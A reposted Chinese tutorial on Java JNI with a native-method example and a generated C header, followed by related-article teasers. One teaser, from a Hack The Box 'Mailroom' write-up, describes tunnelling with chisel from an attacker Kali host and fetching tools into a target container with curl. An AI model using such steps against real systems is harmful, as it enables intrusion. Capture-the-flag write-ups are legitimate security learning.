简析java JNI技术

news2024/9/20 15:03:08

前言

   认识JNI(Java Native Interface)技术,了解Java调用本地C/C++库的简单原理以及一些基本的知识点;自己编写一个自定义的JNI接口。

一、简介        

   JNI是Java Native Interface的缩写,通过使用 Java本地接口书写程序,可以确保代码在不同的平台上方便移植。从Java1.1开始,JNI标准成为java平台的一部分,它允许Java代码和其他语言写的代码进行交互。

        本地代码与 Java 虚拟机之间是通过 JNI 函数实现相互操作的。JNI 函数通过接口指针来获得,本地方法将 JNI 接口指针当作参数来接受。虚拟机保证在从相同的 Java 线程中对本地方法进行多次调用时,传递给本地方法的接口指针是相同的,本地方法被不同的 Java 线程调用时,它接受不同的 JNI接口指针。

        JNI的强大特性使我们在使用JAVA平台的同时,还可以重用原来的本地代码。作为虚拟机实现的一部分,JNI允许JAVA和本地代码间的双向交互。

 

1、什么是java jni

        JNI是Java Native Interface的缩写,通过使用 Java本地接口书写程序,可以确保代码在不同的平台上方便移植。从Java1.1开始,JNI标准成为java平台的一部分,它允许Java代码和其他语言写的代码进行交互。

        本地代码与 Java 虚拟机之间是通过 JNI 函数实现相互操作的。JNI 函数通过接口指针来获得,本地方法将 JNI 接口指针当作参数来接受。虚拟机保证在从相同的 Java 线程中对本地方法进行多次调用时,传递给本地方法的接口指针是相同的,本地方法被不同的 Java 线程调用时,它接受不同的 JNI接口指针。

        JNI的强大特性使我们在使用JAVA平台的同时,还可以重用原来的本地代码。作为虚拟机实现的一部分,JNI允许JAVA和本地代码间的双向交互。

2、jni 的应用场景

 2.1 解决性能问题

    在程序对时间敏感或对性能要求特别高时,有必要使用更底层的语言,例如使用C或者C++来实现具体功能,然后在java中直接调用这些功能。

2.2、 解决本机平台接口调用问题

     JAVA以其跨平台的特性深受人们喜爱,而又正由于它的跨平台的目的,使得它和本地机器的各种内部联系变得很少,约束了它的功能。解决JAVA对本地操作的一种方法就是JNI。JAVA通过JNI调用本地方法,而本地方法是以库文件的形式存放的(在WINDOWS平台上是DLL文件形式,在UNIX机器上是SO文件形式)。通过调用本地的库文件的内部方法,使JAVA可以实现和本地机器的紧密联系,调用系统级的各接口方法。

2.3、嵌入式开发应用

       “一次编程,到处使用”的Java软件概念原本就是针对网上嵌入式小设备提出的,几经周折,目前SUN公司已推出了J2ME(Java 2 P1atform Micro Edition)针对信息家电的Java版本,其技术日趋成熟,开始投入使用。SUN公司Java虚拟机(JVM)技术的有序开放,使得Java软件真正实现跨平台运行,即Java应用小程序能够在带有JVM的任何硬软件系统上执行。加上Java语言本身所具有的安全性、可靠性和可移植性等特点,对实现瘦身上网的信息家电等网络设备十分有利,同时对嵌入式设备特别是上网设备软件编程技术产生了很大的影响。也正是由于JNI解决了本机平台接口调用问题,于是JNI在嵌入式开发领域也是如火如荼。

3、Java 和JNI基本类型对照及基本实现

      java的基本类型可以直接与C/C++的基本类型映射。

Java与JNI引用类型对照表:

4、简单的实现案例

  4.1、 在java类中申明Native方法(此类为JNI类程序,担任代理角色),并编译成class文件(在此类中同时也需要加载需要使用的类库)

    这里声明了一个native方法stringFromJNI(),并指定实现此接口的动态库名称为MainActivity.dll,存放在jdk/bin目录下。

public class MainActivity {
    static {
        //这种方式需要把MainActivity.dll放在jdk/bin目录下
        System.loadLibrary("MainActivity");
        //System.load("C:\\Users\\Administrator.DESKTOP-Q7DQAHS\\source\\repos\\ProjectNewDll\\x64\\Debug\\ProjectNewDll.dll");
    }

    public static native String stringFromJNI();

    public static void main(String[] args) {
        System.out.println("exec " + stringFromJNI());
    }
}

  4.2、 用javah将第一步的class文件生成头文件(具体命令:javah -jni XXX, javah程序统一了java中的native方法、头文件中的函数名和动态库中的函数实现之间的对应关系)

     javac MainActivity :生成字节码文件

    javah -classpath  absolutepath\src\main\java  com.game.test.jni.MainActivity :生成可用的头文件com_game_test_jni_MainActivity.h,内容如下:

/* DO NOT EDIT THIS FILE - it is machine generated */
#include <jni.h>
/* Header for class com_game_test_jni_MainActivity */

#ifndef _Included_com_game_test_jni_MainActivity
#define _Included_com_game_test_jni_MainActivity
#ifdef __cplusplus
extern "C" {
#endif
/*
 * Class:     com_game_test_jni_MainActivity
 * Method:    stringFromJNI
 * Signature: ()Ljava/lang/String;
 */
JNIEXPORT jstring JNICALL Java_com_game_test_jni_MainActivity_stringFromJNI
  (JNIEnv *, jclass);

#ifdef __cplusplus
}
#endif
#endif


  4.3、 用其他语言(C、C++等)实现上述头文件中的函数,生成动态库,供java程序使用

    关于动态库的编写,参照网上他人的实现:visual studio编写jni踩坑 - 简书,不在复述。

  4.4、 发布java和动态库

   把生成的MainActivity.dll动态库放在jdk/bin目录下,执行MainActivity → main() 就能看到输出结果了!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/565155.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

在vue3中如何使用百度地图API(详细步骤+demo示例)

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 一、注册账号、申请成为开发者二、申请密钥AK三、在vue3.0中使用百度地图API 提示&#xff1a;以下是本篇文章正文内容&#xff0c;下面案例可供参考 一、注册账号…

htb Mailroom里容器(Debian 11)图形界面显示在本机kali上,socat,unix转发,容器里不安装xrdp

在攻击机kali(ip:10.10.14.18)上运行chisel服务端: chisel server -v -p 60080 --socks5 在靶机的虚拟机(ssh root10.10.11.209)上,执行docker exec containers_sites_1 /bin/bash,进入容器里 进入容器后,先下载kali上的socat和chisel: curl -o /bin/chisel http://10.10.14…

使用JMeter+Grafana+Influxdb搭建可视化性能测试监控平台

【背景说明】 使用jmeter进行性能测试时&#xff0c;工具自带的查看结果方式往往不够直观和明了&#xff0c;所以我们需要搭建一个可视化监控平台来完成结果监控&#xff0c;这里我们采用三种JMeterGrafanaInfluxdb的方法来完成平台搭建 【实现原理】 通过influxdb数据库存储…

初学用于华为鸿蒙系统(HarmonyOS)的编程开发工具HUAWEI DevEco Studio:你好,鴻蒙~

本文是6月6日博文“初学用于华为鸿蒙系统(HarmonyOS)的编程开发工具HUAWEI DevEco Studio”的续篇。 成功通过华为开发者联盟的实名认证审核后&#xff0c;使用远程模拟器(Remote Emulator)运行程序。 步骤如下&#xff1a; 菜单Tools - Device Manager&#xff1a; 点击设备…

Vue列表渲染

1&#xff0c;回顾HTML列表&#xff1f; 答&#xff1a;列表分为顺序列表ol&#xff0c;无序列表ul&#xff0c;用于在网页上以表格的形式进行数据展示&#xff0c;数据放在单元格之中&#xff0c;可以用于布局或者展示某个具体对象的信息。li表示列表的每一项。自定义列表为dl…

C++多态详解(虚函数重写、接口继承、虚函数表详解)

目录 1. 多态概念 2. 多态的定义及实现 2.1 多态的构成条件 2.2 虚函数重写 2.3 C11 override和final 2.4 重载、覆盖&#xff08;重写&#xff09;、隐藏&#xff08;重定义&#xff09;的对比 3. 抽象类 3.1 概念 3.2 接口继承和实现继承 4. 多态的原理 4.1 虚函数表 4.2…

ESP32设备驱动-VCNL4010光传感器驱动

VCNL4010光传感器驱动 文章目录 VCNL4010光传感器驱动1、VCNL4010介绍2、硬件准备3、软件准备4、驱动实现1、VCNL4010介绍 VCNL4010 专为更短的距离而设计,不超过 200 毫米(约 7.5" ) 并且根据我们的实验,我们发现它在大约 10-150 毫米的距离内效果最佳。这对于检测手…

水表远程监控系统有什么功能吗?

水表远程监控系统是通过远程传输水表数据&#xff0c;实现对水表的远程监控和管理的一种智能化系统。它主要具备以下功能&#xff1a; 1.远程抄表功能&#xff1a;通过远程传输技术&#xff0c;实现对水表的远程抄表和监控&#xff0c;无需人工上门抄表&#xff0c;节省人力成本…

ChatGPT超详细教程-提问、使用、技巧~

huChatGPT已经面世很长时间了&#xff0c;很多人已经开始依赖ChatGPT了&#xff0c;逐渐应用到自己的生活工作学习中去了&#xff0c;然而还有很多人嚷嚷着不好用&#xff0c;真的不好用的话为什么广受好评&#xff0c;还有很多人一直在用&#xff1f; 当然也有可能真的对你没…

uni-app基础

1、基本语言和开发规范 uni-app代码编写&#xff0c;基本语言包括js、vue、css。以及ts、scss等css预编译器。 在app端&#xff0c;还支持原生渲染的nvue&#xff0c;以及可以编译为kotlin和swift的uts。 但是&#xff0c;DCloud提供了使用js编写服务器代码的uniCloud云引擎…

Unity Lighting Mode

在Light中Mode设置为Mixed时&#xff0c;Lighting Mode&#xff08;在Window->Rendering->Light->Scene&#xff09;有三种选项如下图&#xff1a; Baked Indirect 烘焙间接光,效果最好性能最耗 混合光源照亮的动态游戏对象将接收&#xff1a; 实时直接光照。烘焙间接…

【iOS_锁】

文章目录 前言锁线程安全锁&#x1f512;的作用锁的种类互斥锁 自旋锁加锁原理缺点对比自旋锁的缺点互斥锁的缺点 各种锁OSSpinLock使用OSSpinLockOSSpinLock存在缺陷 互斥锁分为两种&#xff1a; 递归锁、非递归锁 os_unfair_lock 【非递归互斥锁】锁的修饰使用 自旋锁的优先级…

数据结构初阶——堆排序

思维导图&#xff1a; 目录 一&#xff0c;堆排序的概念 二&#xff0c;堆排序的实现 2.1将数组变成堆 2.2堆有序化 二,全部代码 一&#xff0c;堆排序的概念 百度百科的解释如下&#xff1a;堆排序&#xff08;英语:Heapsort&#xff09;是指利用堆这种数据结构所设计…

Python——第7章 pandas数据分析实战

7.1pandas常用数据类型 7.1.1一维数组与常用操作 import pandas as pd import matplotlib.pyplot as plt#设置输出结果对齐方式 pd.set_option(display.unicode.ambiguous_as_wide,True) pd.set_option(display.unicode.east_asian_width,True)#自动创建从0开始的非负整数索引…

优化器| SGD/Adam/

前言&#xff1a;最近准备复习一下深度学习的基础知识&#xff0c;开个专栏记录自己的学习笔记 各种SGD和Adam优化器整理 基本概念 优化&#xff1a;最大化或最小化目标函数&#xff0c;具体指最小化代价函数或损失函数 损失函数 J(θ)f(hθ(x)&#xff0c;y)&#xff0c;h…

RK3568平台开发系列讲解(项目篇)TensorFlow图像分类

🚀返回专栏总目录 文章目录 一、安装tensorflow环境二、图像分类2.1、准备数据集2.2、构建和训练模型2.3、测试模型2.4、TensorFlow Lite模型2.5、模型转换和模拟测试三、部署推理测试沉淀、分享、成长,让自己和他人都能有所收获!😄 📢 TensorFlow 是一个基于数据流编程…

Python机器学习入门 - - 贝叶斯算法学习笔记

文章目录 前言一、贝叶斯算法简介二、贝叶斯算法的数学原理1. 条件概率2. 全概率公式3. 贝叶斯公式4. 朴素贝叶斯分类器5. 高斯朴素贝叶斯分类器和伯努利朴素贝叶斯分类器 三、Python实现朴素贝叶斯分类总结 前言 贝叶斯公式是我们高中就耳熟能详的统计概率定理&#xff0c;贝…

UnityVR--ResourceManager--资源管理

目录 简介 加载资源的几种方式 资源加载的管理器Resload.cs ResLoad类的应用举例 简介 这里记录一个资源管理工具集&#xff0c;提供一些方法将一些Object、Prefab直接从Assets文件夹中加载到场景中。 加载资源的几种方式 在项目中我们经常需要使用一些随时取用的东西&…

2023 华为 Datacom-HCIE 题库 06--含解析

多项选择 1.[试题编号&#xff1a;190185] &#xff08;多选题&#xff09;如图所示&#xff0c;PE 1和PE2之间通过Loopback0接口建立MP-BGP邻居关系&#xff0c;在配置完成之后&#xff0c;发现CE1和CE2之间无法互相学习路由&#xff0c;以下哪些项会导致该问题出现? A、PE1…

GDB调试工具

GDB&#xff08;GNU Debugger&#xff09;是一个功能强大的命令行调试工具&#xff0c;用于调试 C、C 程序以及其他编程语言的程序。它是 GNU 项目的一部分&#xff0c;可在多个操作系统上使用&#xff0c;包括 Linux、macOS 和 Windows&#xff08;通过 MinGW 或 Cygwin&#…